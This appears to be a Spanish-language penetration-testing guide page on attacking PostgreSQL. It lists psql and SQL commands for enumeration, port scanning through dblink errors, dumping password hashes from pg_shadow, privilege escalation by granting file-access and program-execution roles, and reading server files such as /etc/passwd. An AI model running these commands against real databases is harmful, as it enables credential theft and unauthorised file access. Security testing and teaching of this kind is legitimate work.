Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente, impulsados por las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy:
PostgreSQL se describe como un sistema de base de datos objeto-relacional que es de código abierto. Este sistema no solo utiliza el lenguaje SQL, sino que también lo mejora con características adicionales. Sus capacidades le permiten manejar una amplia gama de tipos de datos y operaciones, lo que lo convierte en una opción versátil para desarrolladores y organizaciones.
Puerto por defecto: 5432, y si este puerto ya está en uso, parece que postgresql utilizará el siguiente puerto (probablemente 5433) que no está en uso.
PORT STATE SERVICE
5432/tcp open pgsql
Conectar y Enumeración Básica
psql-U<myuser># Open psql console with userpsql-h<host>-U<username>-d<database># Remote connectionpsql-h<host>-p<port>-U<username>-W<password><database># Remote connection
psql -h localhost -d <database_name>-U <User> #Password will be prompted\list # List databases\c <database> # use the database\d # List tables\du+ # Get users roles# Get current userSELECT user;# Get current databaseSELECT current_catalog;# List schemasSELECT schema_name,schema_owner FROM information_schema.schemata;\dn+#List databasesSELECT datname FROM pg_database;#Read credentials (usernames + pwd hash)SELECT usename, passwd from pg_shadow;# Get languagesSELECT lanname,lanacl FROM pg_language;# Show installed extensionsSHOW rds.extensions;SELECT*FROM pg_extension;# Get history of commands executed\s
Si al ejecutar \list encuentras una base de datos llamada rdsadmin, sabes que estás dentro de una base de datos postgresql de AWS.
Para más información sobre cómo abusar de una base de datos PostgreSQL consulta:
Enumeración Automática
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Según esta investigación, cuando un intento de conexión falla, dblink lanza una excepción sqlclient_unable_to_establish_sqlconnection que incluye una explicación del error. Ejemplos de estos detalles se enumeran a continuación.
DETAIL: no se pudo conectar al servidor: No hay ruta al host ¿Está el servidor en el host "1.2.3.4" y aceptando conexiones TCP/IP en el puerto 5678?
El puerto está cerrado
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
El puerto está abierto
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
or
DETAIL: FATAL: password authentication failed for user "name"
El puerto está abierto o filtrado
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
En las funciones PL/pgSQL, actualmente no es posible obtener detalles de excepciones. Sin embargo, si tienes acceso directo al servidor PostgreSQL, puedes recuperar la información necesaria. Si extraer nombres de usuario y contraseñas de las tablas del sistema no es factible, puedes considerar utilizar el método de ataque de lista de palabras discutido en la sección anterior, ya que podría potencialmente dar resultados positivos.
Enumeración de Privilegios
Roles
Grupos Interesantes
Si eres miembro de pg_execute_server_program puedes ejecutar programas
Si eres miembro de pg_read_server_files puedes leer archivos
Si eres miembro de pg_write_server_files puedes escribir archivos
Ten en cuenta que en Postgres un usuario, un grupo y un rol son lo mismo. Solo depende de cómo lo uses y si permites que inicie sesión.
# Get users roles\du#Get users roles & groups# r.rolpassword# r.rolconfig,SELECTr.rolname,r.rolsuper,r.rolinherit,r.rolcreaterole,r.rolcreatedb,r.rolcanlogin,r.rolbypassrls,r.rolconnlimit,r.rolvaliduntil,r.oid,ARRAY(SELECT b.rolnameFROM pg_catalog.pg_auth_members mJOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)WHERE m.member = r.oid) as memberof, r.rolreplicationFROM pg_catalog.pg_roles rORDER BY1;# Checkif current user is superiser## If response is"on"then true, if"off"then falseSELECT current_setting('is_superuser');# Trytogrant access to groups## For doing this you need to be adminon the role, superadmin or have CREATEROLE role (see next section)GRANT pg_execute_server_program TO"username";GRANT pg_read_server_files TO"username";GRANT pg_write_server_files TO"username";## You will probably get this error:## Cannot GRANTon the "pg_write_server_files"rolewithout being a member of the role.# Create new role (user) as member of a role (group)CREATEROLE u LOGINPASSWORD'lriohfugwebfdwrr'IN GROUP pg_read_server_files;## Common error## Cannot GRANTon the "pg_read_server_files"rolewithout being a member of the role.
Tablas
# Get owners of tablesselect schemaname,tablename,tableowner from pg_tables;## Get tables where user isownerselect schemaname,tablename,tableowner from pg_tables WHERE tableowner ='postgres';# Get your permissions over tablesSELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;#Check users privileges over a table (pg_shadow on this example)## If nothing, you don't have any permissionSELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
Funciones
# Interesting functions are inside pg_catalog\df * #Get all\df *pg_ls* #Getby substring\df+ pg_read_binary_file #Check who has access# Get all functions of a schema\df pg_catalog.*# Get all functions of a schema (pg_catalog in this case)SELECT routines.routine_name, parameters.data_type, parameters.ordinal_positionFROM information_schema.routinesLEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_nameWHERE routines.specific_schema='pg_catalog'ORDER BY routines.routine_name, parameters.ordinal_position;# Another aparent optionSELECT*FROM pg_proc;
Acciones del sistema de archivos
Leer directorios y archivos
Desde este commitlos miembros del grupo definido DEFAULT_ROLE_READ_SERVER_FILES (llamado pg_read_server_files) y super usuarios pueden usar el método COPY en cualquier ruta (consulta convert_and_check_filename en genfile.c):
Hay otras funciones de postgres que se pueden usar para leer un archivo o listar un directorio. Solo superusuarios y usuarios con permisos explícitos pueden usarlas:
# Before executing these functiongoto the postgres DB (notin the template1)\c postgres## If you don't do this, you might get "permission denied" error even if you have permissionselect * from pg_ls_dir('/tmp');select * from pg_read_file('/etc/passwd', 0, 1000000);select * from pg_read_binary_file('/etc/passwd');# Check who has permissions\df+ pg_ls_dir\df+ pg_read_file\df+ pg_read_binary_file# Try to grant permissionsGRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;# By default you can only access files in the datadirectorySHOW data_directory;# But if you are a member of the group pg_read_server_files# You can access any file, anywhereGRANT pg_read_server_files TO username;# Check CREATEROLE privilege escalation